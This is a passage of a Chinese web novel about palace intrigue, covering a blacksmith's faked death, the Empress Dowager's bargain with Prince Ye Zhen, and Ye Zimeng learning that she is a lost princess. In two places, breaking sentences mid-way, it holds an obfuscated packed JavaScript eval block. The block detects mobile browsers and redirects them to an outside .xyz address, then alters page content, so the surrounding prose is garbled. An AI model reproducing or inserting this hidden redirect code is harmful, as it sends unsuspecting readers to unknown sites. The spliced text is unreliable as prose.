当年沐灏天携襁褓里的叶子萌离开悒国隐姓埋名后,他曾被相国吴国成为首的太子一党推荐给太后,并被太后收编,安排在大理寺少卿赵渊如的府邸里,然后又改换装束,在大理寺狱谋得一职,当上管理几个狱卒的狱吏。 “大人,”林啸进了赵渊如书房,双手一叩,道,“你回来啦?” 赵渊如点点头,忧心忡忡地说:“今日朝堂上,太后召见众官,有意让亲王叶真今后主政朝政,代理皇上。” 林啸愤愤然,道:“莫非太后开始糊涂?” 赵渊如说:“此乃大势,我等能奈叶真如何?皇太子遇害一事,我总觉得与这两位皇子有关,不管是他们中间的谁,你今后要格外小心才是。” 林啸点点头,又问:“吴相国是什么态度?” 赵渊如压低嗓子说:“老相国在表面上自然是要拥戴两位皇子的,但他一直对他们提防得紧,尤其是叶真,现在耳目众多……” 林啸感慨地说:“老相国在这种情形下,还有这般风骨,同时又要做到不违逆圣上,很难啊!” 赵渊如这时想起什么,又问,“那人可安排妥当?” 林啸点头说:“我让他不要随意走动,暂时就在厨房打杂。” 赵渊如点点头,然后说:“你且带我去看看他……” 林啸就带领赵渊如去了后厨一间柴房,打开门锁,一并进去。 里面柴禾堆上铺了一床薄被,上面坐着个蓬头垢面、胡子拉碴的汉子,一见他们进来,就站了起来…… 这正是外界以为已自杀身亡的铁匠曾蛮子!原来这曾蛮子并没死。 …… 事情是这样,几日前,大理寺卿张廷玉叫来少卿赵渊如,称是接到宫内指令,要秘密处斩重犯曾蛮子,为了不惊动外人,就让他“服毒自尽”,并让赵渊如去执行。 赵渊如不知这“宫内指令”究竟是谁的指令,又不便多问,当下领命,回去后却与林啸密谋一番,于是林啸回到大理寺狱,趁夜去了关押曾蛮子的牢房。 自从悒文帝叶炫来过牢房离去后,曾蛮子身上的铁链就已解除,他一见蒙面的林啸进来,仔细一看,似乎面熟,有些像这里的狱吏,于是狐疑地望着他,不知有何古怪事。 林啸朝牢房外探望一下,四处无人,于是道:“曾蛮子,有人要害你,我受人之托,前来救你出去!” 曾蛮子警觉地看着他,道:“我为何要信你?” 林啸说:“此前皇上曾来,你单独向他透露的事,已被某些人视为眼中钉,要杀人灭口了,这其中的利害关系,我相信你是清楚的……” 曾蛮子一听,心里自然清楚,便问:“这大理寺狱戒备森严,你一人怎么救我出去?” 林啸说:“硬闯自是不行,我这里有一血囊,你将它藏好,明晚那菜饭你不能吃,菜饭有毒,趁狱卒不注意将它倒于便桶,然后将碗摔碎,再将血囊弄破,涂于口鼻耳门处,装着中毒身亡……” 曾蛮子听了,半信半疑;他思忖了一晚上,终不觉得林啸的说法有何破绽,于是决定照他话去做…… 就这样,第二天傍晚出现了“曾蛮子服毒自杀”一幕,满脸是血地歪倒在地,吓得前去的狱卒大叫。林啸闻讯前去,查验“尸体”一番,待赵渊如前来后,便禀报道:“囚犯服毒已死……” 赵渊如也假装勘验一番,然后站起身对林啸说:“快快拉出去埋了,这事你负责办。” 于是林啸叫来事先安排好的两人,抬走了曾蛮子的“尸体”,拉到城外一乱坟岗处“埋掉”。 …… 而在大理寺卿张廷玉的府上,大理寺狱有人来报:“大人,曾蛮子服毒自杀……” 张廷玉也不惊讶,道:“知道了。”挥挥手便打发走来报之人。 来人刚走,后面便闪出一个身形矫健的蒙面人,问:“他死了?” 张廷玉忙对他点头道:“死了!” 蒙面人不放心地问:“你确定?” 张廷玉说:“少卿亲自查验尸体,无误。” 蒙面人便说:“好,你算大功一件!” 张廷玉见他要走,忙问:“我需要知道,这究竟是殿下的意思,还是太后的意思,或者?……” 蒙面人便说:“你不需要知道这些,知道了反倒对你不好,你只做好自己该做的事……”然后身形一晃闪到外面院子,很快消失不见。 …… 而在太后的千寿宫里,也出现大致相同的场景,米莲一进太后寝宫,太后头也没回,就问:“人犯死了?” 米莲点点头:“死了,城外埋了,然后又去了……”停顿一下,凑上前去对太后耳语一番。 太后微微颔首:“此事不可声张……”随后又补了一句,“对了,叫林啸把他送走,送得越远越好!” 米莲说:“是。” …… 再说赵渊如的府上,此时曾蛮子见到林啸带来主人,于是跪下叩首,拜道:“多谢大人的救命之恩,今后有何事大人尽管吩咐,我曾蛮子定当拼死相报!” 赵渊如问:“你家里还有些何人?” 曾蛮子回答:“我是西山人,家里还有一老母,一个孩子和他娘……” 赵渊如说:“以 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十几年不见妻子,几乎都认不出她,尤其是那孩子,他被官兵抓时孩子才六岁,现在已变成大小伙儿了,若是在半路相遇,根本认不得。 刚开始,妻子也没认出他来,待到曾蛮子喊了一声她的名字,她才认出原来是自己丈夫,于是扑上去抱着他嚎啕大哭,说以为他早就死了,不料菩萨显灵,他竟又回来了! 曾蛮子望着妻子,又拉来自己那儿子,禁不住也失声哽咽,道:“我想你们也想得好苦,都以为这辈子再也见不到你们了……对了,娘呢?” 他妻子一听,又伤心地哭了,道:“娘三年前就走了,走时还望着门外,说她儿子许是已死,她要到阴间去与儿子相会……” 曾蛮子牙咬下唇,泪眼朦胧。待到一家人哭够,曾蛮子才想起来什么,掉头指着旁边树下的林啸,对娘俩说:“快来见过恩人,这位是林啸,要不是林大人和赵大人相救,我这辈子可能就在狱中死掉了……” 一家三口俯卧在地,对林啸不断叩拜,感谢他的大恩大德……事毕,林啸拿出一些银两塞给曾蛮子,然后便转过身佯装要离去。 此时此刻,林啸心里十分矛盾,暗想:要不要问曾蛮子?如果我主动去问他,他会不会认为我是为了那个秘密才去救他的?若这样,他说假话怎么办? 已经走出几步了,他心里紧张极了,矛盾极了……正在这千钧一发之际,曾蛮子的声音突然在身后不远响起:“林大人且慢!” 林啸转过身来,这时曾蛮子走上来,拉住他衣袖问道:“林大人,到了如今,你怎么就不问问我,那天陛下来牢房见我时,我对他说了些什么?” 林啸一听,终于松了一口气,他当然想过要问,但他与挚友沐灏天一样,都是君子一般的人物,从不主动胁迫别人做他们不愿意的事,现在见曾蛮子这样说,便道:“你为何又要说了呢?” 曾蛮子道:“看得出,林大人为人正直,有豪爽之气。之前我曾说你们救了我,我‘定当拼死相报’,却未主动提及此事,是我有小人之心啊!” 林啸立刻说道:“快别这样说,你等只是普通的黎民百姓,将你们卷入这风云诡谲的宫廷纠纷,本就不该,你们也没这样的义务。不过,如果你觉得无妨,不如也可以给我透露一二。” 于是曾蛮子说道:“我索性就告诉你吧,当今皇上问我时,我就把当年来铁铺定制毒箭的那人姓名对他讲了。” “哦?”林啸一听,假装惊讶道,“那是何人?” 曾蛮子附在他耳旁悄悄道:“李诀,皇宫里的那个御前侍卫……” 林啸听了,久久沉默不语,最后又对曾蛮子说:“谢谢你告诉我,这件事其实太后已经有所耳闻,现在终于在你处得到了证实……对了,为了你自身的安全,你千万别再对任何人提起这件事,就让它烂在肚子里,明白吗?” 曾蛮子点点头,然后林啸与他告辞,下山而去,准备回去就把这消息密传太后。 22. 宫中交易,新皇心惊 正午的阳光温暖明亮,慢慢又被移动的云层盖住,云层的边缘泛着明亮耀眼的金边,林啸边走边望着此景,不由想起了挚友沐灏天,想起了被他带走的明浩公主叶子萌,那孩子应该长大了,而往昔的一切像被眼前这片云翳遮着,让人感到一片茫然…… 他却不知,一个新的变化即将开始,让他做梦也没想到。 …… 再说那天散朝,叶真回亲王府用膳,一直在琢磨太后召他究竟是凶是吉,甚至还用诸葛马前课掐算了一下,还好,结果是“大安”;“大安”释曰:身不动时,属木青龙,凡谋事一、五、七,贵人西南,冲犯东方…… 在叶真眼里,前朝的琅琊阳都人诸葛孔明自然属神人也,他每逢出征,在上马前必会掐指一算,譬如当天是正月初十午时,掐着左手的食指、中指、无名指转,就应转到无名指的上方指尖,得结果“赤口”。“赤口”临白虎位,有惊恐和凶险之象,时候不对,就会马上改个时候出征…… 叶真在一典籍上学得此法,并用此法测得“大安”,恰好太后的千寿宫就在他亲王府的西南方,是贵人方位,他认为此行显然是极为祥瑞,于是放宽了心,饭也多吃了半碗。 他夫人刘雅兰,是个财迷心窍的王妃,一心想着当上皇后,听夫君议起当日朝堂之事,也很高兴,想到自己将来真有可能晋升为皇后娘娘,那是何等荣耀之事,于是对夫君千叮咛万嘱咐:“殿下,今后你行事定要稳重,凡事都得顺着太后,不得有半点违逆。” 叶真不露声色地说:“我自有分寸,你不必多言。” 叶真掐着时间,估计太后午休得差不多了,正要准备进宫,李公公忽然来了,对他说:“太后口谕:今日哀家偶感身体不适,改日再见。” 叶真顿时愣在那里,半天回不过神来。李公公刚走,刘雅兰就出来,对叶真说:“这太后搞的什么鬼……” 叶真忙用手止住她,然后就在那里转来转去,眉头紧锁,用心思索,思索来思索去,半天不得要领。 刘雅兰见他不吭声,凑近前来小声地问:“太后是犹豫了?” 叶真的眼珠子转动着,心里直打鼓,刘雅兰又悄悄说:“我听闻,太子一案的关键线索人物曾蛮子,已在狱中自杀,这事是不是与你有关?” “休得胡言!”叶真脱口而出,然后瞪了刘雅兰一眼,扭头而去。 其实,太后的确犹豫过,那是林啸回来禀报在曾蛮子处核实,得知那人的确是李诀后,她对米莲说:“看来这件事叶炫没有撒谎。” 米莲脱口就说:“那么,想要曾蛮子永远闭口的,就另有其人?” “你说,这人会不会是三皇子叶真?”太后突然冒出一句。 空气一下就凝固起来,四周没有一点声息……过了很久,米莲才小心翼翼地说:“太后,你不是马上要召见他了吗?” “等等,”太后沉思道,“让我好好想想……” 第二日,太后又对米莲说:“去叫李公公来,还得召见叶真。” “为何?”米莲问。 “我是准备让明浩公主回悒国来了,”太后说,“在这节骨眼上,此事最重,其他事暂时缓缓再说……” 翌日,叶真正在考虑要不要主动去探望太后的“身体不适”,这时李公公又来了,道:“太后口谕,传召亲王叶真觐见。” 叶真一听,完全顾不上掐算他的诸葛马前课了,立刻紧紧跟着李公公,心里七上八下地朝皇宫赶去。 进了皇宫,拐了几个弯就到千寿宫,千寿宫门外有几个宫女正在搬动花缸,可是此时的叶真,看见那些鲜艳的花也不觉得美了,在他的感官里,已全然没有了色、声、香、味、触,只有一张布满了皱纹的、熟悉而威严的老脸,这就是他的母后。 时间恰到好处,太后也刚好弄得停当,稳坐在寝宫正厅的雕花凤椅上。叶真一进去,便伏跪于地,道:“儿臣叶真前来给母后请安!”虽没去看太后,但两耳却是在“看”着她,灵醒得很呢。 “起来坐吧,”太后抬抬手,“米莲,备茶……” 米莲立即吩咐宫女端出一盏昆仑雪菊,叶真揭开茶盖,轻嘬一口,连连赞道:“昆仑雪山之隅的雪菊甚是奇物,花期短似昙花,与冰山雪莲可媲美,乃‘茶中之贵”也!” 太后微微一笑,慢慢说道:“除了这茶道,听闻孩儿平日还热衷于谈玄论道,尤喜研习昆仑之龙门大脉,可有何心得?” 一提到这昆仑山的龙门大脉,叶真就来劲,不是在太后面前演戏,而是真的触动了他心中的那根弦,而拨动这根弦的,正是最了解他的母后。 叶真顿时口若悬河,侃侃而谈:“昆仑神山乃天下‘龙脉之祖’,绵延几千里,越王无余称‘行到名山大泽,召其神而问之山川脉理’,先贤都如此看重,可见这山川之下,可能就潜藏着龙脉……” 在太后的内心深处,叶真的这些谈玄论道、寻找龙脉,未免不着边际、过于荒谬,然而究竟下去,虽未忧国忧民,但也还勉强算心系社稷,总比那个贪图享乐、荒淫无耻的哥哥强;再说,从目前情势看,文武百官几乎都朝向这叶真,看来他那疯哥哥的确是大势已去。 太后继续问道:“你是认为,只要寻找到龙门大脉,就可永保江山社稷?” 叶真听了这话,竭力去揣摩着太后这话背后的意思,思忖片刻,便小心翼翼地说:“龙门大脉固然重要,但也不可违逆祖制祖训,祖皇帝的镇国之宝玉皇鼎,也是孩儿心心念念之物,若是既觅得龙门大脉,又能找回镇国之宝,我悒国从此定能进入江山永固、万国来朝的辉煌局面啊!” 太后微微点头,道:“心系社稷,具有治理国家的雄才大略,这固然是好,但作为一个明君,心怀柔慈,情系苍生,正所谓‘上天有好生之德,人有恻隐之心’,明君更应如此,若常常为善,才是社稷之幸、黎民之福啊!” 叶真听太后说到这“善”,马上就联想起当年皇太妃李媚儿被打入冷宫、在太阴宫惨遭横祸的那一幕,不免觉得有些滑稽,因为他相信这一切与母后笃定有关。但此刻他不能有任何违逆太后的想法,他只应在这“善”字上打转儿,猜想着太后是什么意思…… 忽然,他灵光一现,有些醒悟了,这会不会是太后在暗示他:一旦这皇帝宝座移位于他,作为一个明君,兄弟阋墙的事他可不能做,阴险小人的毒更不能施! 叶真连忙站起,躬身对太后一拜,诚恳地说:“启禀母后,孩儿叶真今日向你保证,若孩儿能得母后一用,今后一定会善待皇兄,保他后半生永享荣华!” 太后听了不由暗想:他还算聪明,一点就通……沉思片刻,却又说道:“兄弟阋墙的事你自然不会做,这个我相信。不过,我今天叫你来,说的不是这件事,而是要说另一件非常重要的事……” “哦?”叶真的脑瓜子又开始打转起来,他低头盯着自己脚尖,道,“请太后明示,孩儿听着就是。” 太后呷了一口茶,这才说道:“当年皇太子叶坤曾遗有一女,即明浩公主叶子萌,你可还记得?” 太后这话说得轻描淡写,却似雷鸣轰隆,使叶真身子微微一震,但他表面上尽量装得无事一般,立即回道:“回禀母后,记得记得。” 太后细细地看着他,又说:“这些年来,我一直派人多方查找,苍天有眼,现在明浩公主终于有了下落,她就在魏国武馆圣武堂里,由当年太子身边的那个侍卫沐灏天代为收养,据说已出落成一位亭亭玉立的大姑娘了……” “哦?”叶真佯装不知,旋即脸上现出惊喜模样,“竟有这等奇事?那……母后的意思是?……”说着望着太后,观察着她的神情,揣摩着她的内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885059|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 太后说到这明浩公主,就现出一丝慈祥的神情,微微笑着说:“此孩子是我皇家龙脉开枝散叶的结果,现在既然找到,乃是一件大喜之事!” 叶真顺着太后意思马上说:“哎呀呀,这当然是天大的喜事,皇兄叶坤虽已不在,但明浩公主的确是我叶家皇室的正统后裔,不可马虎啊!” 太后见状,这才说到正题:“这件事自然不可马虎,我打算将明浩公主从魏国正式接回,毕竟她是我悒国皇室中人,长期在魏国会遭他人诟病,有失颜面,不知你意下如何?” 叶真的心咚咚狂跳起来,惶恐得很,不知这身怀绝世武功的明浩公主接回悒国皇宫后,自己将面临怎样的局面?但眼下他绝不能表现出有丝毫犹豫,于是连连点头道:“好呀好呀,只要母后高兴,怎么都行,一切都听母后的!” 太后微微点了点头,又说:“太子一案已拖了十几年,现在唯一的线索曾蛮子也服毒自杀,这件事就先暂时搁置,把心用到其他地方吧……” 叶真不作声,微微点了点头,揣摩着这“暂时搁置”是何意思。 太后继续说:“说到底,你也是明浩公主的皇叔,都是一家人,以后你定要善待她。这件事我已想了很久,今天叫你来,就是正式与你商谈这事。” 叶真终于完全明白,太后是要在他正式登基上位前,与他作一次交易,他心领神会,马上说道:“母后说得对,都是一家人,我定将她视为己出,请母后放心……” 太后听了,又微微点头。 叶真见太后未再提及其他,忐忑不安的心这才稍稍安定。他内心一旦安定,脑子便灵光起来,忽想起先前在千寿宫门前,看见宫女搬移花缸培植花卉的情景,于是记起了太后生日。 他连忙又说:“母后,中秋节不是你的生日么,中秋前可将明浩公主接回,我们热热闹闹,中秋节给你办个七十寿宴,岂不一举两得,如何?” 太后一听,脸上现出一丝笑意:“哎呀,我倒忘了生日的事,好啊好啊,难得你有这份孝心,就依你吧,今年我们好好热闹一番!对了,还要宴请各国使节,现在就吩咐下去准备……” 正在这时,李公公进来禀报:“启禀太后,刘王妃求见!” 叶真一听,心里直犯嘀咕:她来做什么? 太后瞥了叶真一眼,面无表情地说:“传她进来……” 少顷,刘雅兰领着两个孩子进来了,她进来就将两个孩子按下跪着,同时对他们说:“快给你们的皇祖母请安……” 两个孩子倒也听话,齐声跪拜说:“皇祖母恭安……” 太后微微一笑,道:“哎哟,这是世子叶永和郡主叶远吧,真乖,都又长高了一点,快起来吧。”然后让米莲吩咐宫女给孩子端去一些糕点糖果,同时又在心里猜想:这会不会是叶真事先安排的? 虽然,叶真这两个孩子比起叶炫那个云溪公主,要让太后省心得多,也要乖巧很多,但比起明浩公主,后者才是她真正的至亲骨肉…… 而叶真和那贱人偏偏在这种时候来这手,令她颇有些不快,因为亲情的后面藏着矫情,贱人又用这矫情来压她的亲情,真是愚蠢之至! 若在平时,太后一定会想办法惩罚惩罚这个愚蠢之极的贱人,而且还可以做得很巧妙,让她哑巴吃黄连……但是现在,正是要迎接明浩公主回悒国的关键时刻,为了不节外生枝,太后将心中怒气压下,未露愠色,脸上还努力强装出笑脸。 叶真却胆战心惊得不行,他偷偷瞧着太后,又去瞟那贱人,暗暗咬牙切齿,在心里骂道:“你这蠢货,快消停吧……” 他皱起眉头,给刘雅兰使了个眼色,而刘雅兰根本弄不明白他的意思,就在那里傻站着,讷讷地说不出话。 还好,太后只是麻木地笑着,那脸僵硬得像个假人似的。 23. 使者去魏,命运转折 叶真告辞太后,带着家眷离开千寿宫后,自己还未说话,刘雅兰就先说话了:“怎么样,我领着这两个孩子来,正是时候吧?” 叶真差点想啐她一口,只是碍着孩子面强忍住了。他开始皱着眉头思索,可是脑壳都想烂了,也猜测不出这个蠢货弄的这一出,究竟是在帮他,还是在害他? 末了他对刘雅兰说:“你以后还是别这样自作主张了,你这招把我弄得六神无主,仅凭这点,就不会是件好事!” 刘雅兰不服,说:“怎么不是好事,你没看见太后一直望着两个孙子在微笑吗?” “微笑?去去去,”叶真袖袍一挥,鼻子一哼,“你懂个啥!” 这边,叶真前脚刚离开,米莲后脚就出来了,从怀里掏出一个护身符,递给太后说:“这是从那些前去三皇子处讨要护身符的官员那里搞来的……” 太后接过来一看,便起身去卧室,从梳妆镜背后摸出另一个护身符,这是十多年前从邓柏住房搜到的,她从里面掏出符箓,两张符箓竟然完全一样,都出自同一个人手笔。 太后有些不解地说:“这邓柏是当年二皇子叶炫安插在我身边的人,这护身符为何又出自三皇子之手?” 米莲禀报说:“我已查了邓柏的底细,他竟是叶炫的贵妃杨媛媛的远房表弟,进宫后不久,就被杨媛媛要到了叶炫身边,由于圆滑乖巧,很受叶炫喜欢。” 太后一听,说:“会不会是叶炫将他送来千寿宫充当细作前,他害怕,于是杨媛媛就给他弄来这道护身符,而护身符又是杨媛媛在叶真那里悄悄讨来,因为她就是叶真派去蛊惑叶炫的人?” “有可能吧?”米莲点点头说。 “现在看来,”太后喃喃说,“当年太子叶坤被害一案,恐怕与叶炫的关系不是很大了……” 太后说完此话,便大有深意地望着米莲,米莲愣了一下,于是似懂非懂地点点头。 太后又说:“这个案子十多年竟还未沉冤昭雪,以叶炫的才智恐怕做不到。现在你明白,我为何要让明浩公主回来了?” “她是太后你的亲孙女,太后自然是日夜思念,这个……”米莲拖长着声音慢慢说,后半截话没说出来。 太后端起茶盏慢慢呷一口,没出声。 “对了,”米莲又问,“公主的养父,那个沐灏天,召见他吗?” 太后一听,摆摆手道:“当年他掳走公主,是为保护公主,情有可原,就功过相抵了;另外,待公主接回后,再给他送去一些金银,算是这么多年养育公主的酬金,之后就当没这个人了……” “奴婢明白。”米莲说,“我这就去吩咐礼官准备。” …… 明浩公主已被找到、并要迎接回悒国的事,传遍朝野,群臣震动,议论纷纷。朝堂上,太后坐在龙椅上,面带微笑,环视整个大殿,然后掉头对太监李公公说:“宣我懿旨吧……” 李斗换略低头,然后展开懿旨,宣道:“皇太后懿旨,着令礼部司即日派使者前去魏国,商谈接回明浩公主事宜,不得有误……” 礼部尚书刘成双手接过懿旨,道:“遵旨!” 太后又道:“迎接公主回来,众卿以为如何?都来说说吧。” 群臣心照不宣,但都毫不迟疑,拱手称道:“恭喜太后,贺喜太后,皇太子叶坤的在天之灵,这下可以得到安慰了……” 坐在太后一侧的叶真,平日里就很迷信,故一听到“皇太子叶坤在天之灵”,就如芒刺在背,他正要起身搅局,一想不妥,复又坐下,一声不吭。 直到太后的目光开始转而望向他,他才起身,绕开话题说:“我已向太后提议,中秋节就是太后的七十大寿,中秋前接回明浩公主,到了中秋为太后办个盛大的寿宴,双喜临门,再宴请各国使节,天下同乐!” 文武百官纷纷喜形于色,齐声祝贺:“太后千岁、千岁、千千岁……” …… 一下朝,大理寺少卿赵渊如就径直回府,把这一消息告诉了林啸。林啸一听,欣喜莫名,因为不仅明浩公主叶子萌找到并要被接回悒国,而且这意味着他的挚友沐灏天也有了下落,他终于可以与他相逢了。 不过,赵渊如心里还有疑虑,他说:“我还是有些不踏实,你说那明浩公主回来后,会不会是入了虎口?” 林啸问:“赵大人何意?” 赵渊如便说:“如果公主知道自己亲生父母被害,肯定会查找凶手,而今后的天下是叶真的,如果叶真就是密杀太子的那个幕后主使,那他会不会找机会再次对明浩公主不利,以绝后患?” 林啸听他这一说,不由心惊肉跳,狐疑说道:“太后要迎接公主回来,应该是真心的吧?听你讲,太后在朝堂提起明浩公主时,还用帕子揩擦泪水呢……” 赵渊如道:“明浩公主是太后的至亲骨肉,亲孙女,她当然心疼,但她毕竟年岁已大,终有灯枯油尽的一天,到了那时,她还能继续护她周全吗?” 林啸点了点头,道:“你说得极是,是这个理……不对,太后圣心如渊,会让人轻易害她唯一的骨肉吗?” 赵渊如说:“话虽这样,但明浩公主的母亲太子妃,当年被打入冷宫时,惨遭横死,这与太后也脱不了干系,公主若知道了内情,又会怎样?” 林啸沉默片刻,道:“赵大人,你不是说沐灏天在魏国开了一家叫圣武堂的武馆吗,不如我亲自去一趟魏国,若能找到他,再与他议议?” 赵渊如沉吟片刻,放低声音说道:“也好,这几日你就启程去一趟,不过此行不可在外声张,宜化装前去。” 林啸点头道:“我就最擅长这化装之术,不会有人认得!” 少顷,林啸又问:“对了,太后要你在大理寺卿张廷玉那里打听,究竟是谁派人要对曾蛮子灭口,你打探出结果了吗?” 赵渊如摇摇头,道:“张廷玉称自己问过传密令的人,但那人不透露,所以他不敢再深问,只知那人应是宫中侍卫,持有羽林军令牌……” “奇怪!”林啸说,“难道又是他?” “谁?” 林啸没直接说,只抱拳向旁侧拱了拱手:“当今的这个……” …… 再说叶子萌,此时还对即将发生的大事浑然不知。她在氼影尊者那里修行已有一些时日,终于对氼影尊者教她的“潜龙吞月”之法有了初步心得,而且天女散花剑法也达到炉火纯青的水平。 看着她进步很大,氼影尊者手抚白髯,点头微笑。 正在这时,东方那颗启明星微微一闪,一旁的灵童子看在眼里,心里不禁微微一动,道:“师父,你看那颗启明星好似在微动,不知有无征兆?” 叶子萌一听,连忙拿眼去看氼影尊者。 氼影尊者没有回答,他默默站在崖顶极目远眺,但见层层山峦被云海笼罩,月光照着,滚动起伏的云海如绸缎般光滑,极远处便是深黑,朦朦胧胧地看不清楚了。 夏末秋初,节气交替,叶子萌也该回去了,她开始想念爹爹和娘亲,还有那些曾经朝夕相处的师兄师姐们,不知他们现在可还安好? 另外,神秘蒙面人称她“明浩公主”引发的身世之谜,也常常搅得她寝食难安,如果这件事不搞清楚,她不会有安宁之日,她决定这次回去,定要在爹娘那里问个明白。 叶子萌从山里回去时,氼影尊者没有一次去送过她,这次也不例外,只让灵童子去送送,因为老人家最怕的就是这种分离时刻,离别是一种“苦”,最难吞咽。 叶子萌的心也是空落落的,倒是灵童子,面无表情,像个木头人似的,唤他作甚他就作甚,最多“嗯”一声,人间的烟火和人的七情六欲对他来说,完全是陌生之物。 来到山梁上那株遒劲弯曲的苍松处时,隐隐传来虎吼声,灵童子就送她到此,不能再送,两人就此分别;叶子萌走了几步,还想对师兄再叮嘱两句照顾师尊什么的,回过头去时,那灵童子早已不见了踪影。 定睛再仔细看,灵童子已经飞到很远的山坳处,变成了一个小人儿,衣袍在劲风的吹拂下,让他轻飘飘的就像个一片翻飞不停的落叶,旋转着瞬间就不见了。 …… 一回蜀都城武馆,顾影寒、千沧雪、冷景轩等人见叶子萌回来,一起拥上来向她问好,只有那西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885060|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门轩,倚靠在柱上远远看着她,一声不吭,待子寻风走到他背后,猛地拍了一下他肩头,他才回过神来。 子寻风对西门轩说:“燕儿妹妹回来,你也不去打声招呼,躲在这里作甚?” 西门轩道:“什么叫‘躲’,我站在这里就是‘躲’吗?” 子寻风皱皱眉头道:“好啦好啦,我不与你咬文嚼字,我且对你说,我们武馆好像有大事要发生了……” “嗤!”西门轩不屑地说,但又忍不住掉头问,“什么大事?” 子寻风便压低声音说:“昨日上午,就在你们练武时,武馆来了两名官差,把师父请了去。当时我还以为是商议中秋举办堂会一事,可是中午师父回来时,我见他脸色不对,进了他屋子就没再出来……” 西门轩一听,开始思忖起来,喃喃道:“会是什么事呢?……”再看那边,见叶子萌一阵旋风扫过的样子,已昂着头大步走向了后院。 “娘!”叶子萌一见院里正招呼静香晾晒衣衫的媚娘,就欢快地跑了过去,媚娘也朝她紧跑两步,摊开手让女儿搂抱住,静香也扭过头望着她们笑着。 沐灏天却未出来,叶子萌不由问:“爹爹呢?” 媚娘说:“在屋里呀!”说着拉着她手就往屋里走去。 门一推开,沐灏天正在堂屋里呆坐着,像个木头人一般,一见叶子萌,才忽地回过神,站起身说:“哟,燕儿回来了?” 叶子萌是何等聪慧之人,她一下就感觉到整个气氛都不像往常,于是问沐灏天道:“爹爹,你今日是怎么啦,为何这样闷闷不乐?” 沐灏天知道这件事不能再瞒叶子萌了,瞒也瞒不住的,要来的事情终于要来,他再无回天之力。但现在,叶子萌和她媚娘就在面前,他该怎么对她们提起这件事呢? “你怎么了?”媚娘觉得他奇怪,“好端端的发什么愣?” 叶子萌的疑问和之前的那一个个疑问,现在全都从心底冒了出来,她这时再也忍不住,突然说:“爹爹,有件事已憋在我心里很久了,上次进山见师父之前,我就已经知道,你能够告诉我真相吗?” “什么真相?”媚娘望着她,又掉头望着沐灏天。 沐灏天也有点懵,脱口道:“什么?” “我的身世?”叶子萌说。 媚娘一愣,又望向沐灏天,沐灏天却像了然于胸,平静地说:“女儿别急,你慢慢说,你遇到了什么?” 于是叶子萌对媚娘说:“三月前,你陪我进山见师父途中,还记得那个武功高强的神秘蒙面人吧?” 媚娘想了想,点头说:“记得啊,我追来时,他已经跑了,这件事我回去就对你爹爹讲过了……” 叶子萌说:“当时我追至一绝壁下,他情急之下忽然称呼我为‘明浩公主’,还说是受悒国所派,终于查找到我,这件事非常突然,所以当时我没告诉与你。” 媚娘一听,回不过神来:“这……” 这时沐灏天接上了话头:“你是说,这个称你为‘明浩公主’的蒙面人,就是之前那个在我们圣武堂与西门轩比武,你当时跳上台去帮忙与对方比试的那个‘紫色绣袍男子’?” “正是他。”叶子萌点点头。 “我记得他……”沐灏天说,“当时我心里就犯嘀咕,觉得这个紫色绣袍男子来历不明,得提防着……不料果然!” 叶子萌说:“爹爹是说,他果然就是悒国派来的探子,专门寻我而来?” “不然呢?”沐灏天说,与旁边媚娘相互对视一眼,然后又掉头问,“你上次怎么不早对你媚娘说呢,我们也好提前筹划商量,可现在已经迟了,唉……” 叶子萌一听,已经猜出七八分,于是问道:“我真是他说的那个‘明浩公主’吗?我真的不是你们的亲生女儿?我的身世真的有秘密?” 一连串的问题从叶子萌嘴里冒了出来,这时沐灏天与媚娘才豁然明了,原来悒国皇室果然早就在布局,寻找当年皇太子遗下的这个女婴了! 媚娘也被这突如其来的变化感到震惊,她望着叶子萌,又瞧瞧沐灏天,就像在等待他对此重大事情作出最后决定似的。 24. 武馆变数 身世曝光 沐灏天却不知该怎么说起,闷着。媚娘这时忽想起什么,问他道:“昨日你出去一趟,回来就一直在屋子里也像这样闷着,是否也与这件事有关?” “好吧,我说!”沐灏天仰天长叹一声,然后把昨日被官差叫去见府尹蒋同归的事,对她们一五一十地讲了出来—— 原来,昨日上午那两个官差将他请到了蜀都府衙里,一进府衙大门,就见两边站立着全身戎装的卫士,手按剑鞘,目光凛冽,一看那阵势就知道是皇宫里来的羽林军。 沐灏天心里一惊,但他这个曾经的御前带刀侍卫是见过大世面的,所以很快就镇静下来,然后将双拳捏紧,稳步走了进去。 府尹蒋同归一见他来,就将其引到后室,然后诡谲地一笑,窃窃地问道:“我现在是该叫你逸风馆主,还是沐馆主?” 沐灏天一听,如五雷轰顶,但他很快就镇静下来,反问道:“府尹大人,你这是何意?有话请直说。” 蒋同归顿了顿,点点头说:“好,我就开门见山吧,沐馆主且告诉我,你家小女燕儿究竟是怎么回事,怎么忽然就成了悒国的‘明浩公主’?” 沐灏天一听,更是犹如霹雳炸响,他惊讶地望着这个常来自己圣武堂观看武士比试的府尹,有些惶恐地问道:“蒋大人,你、你说什么?” 蒋同归道:“宫中的许公公来告诉我,称悒国已派来使者,不日即要将明浩公主接回悒国,还说圣上是宽厚仁慈之明君,念你们夫妻这么些年来对明浩公主宠爱有加,情深似海,当年带走公主也是事出有因,就不追究此事了……” 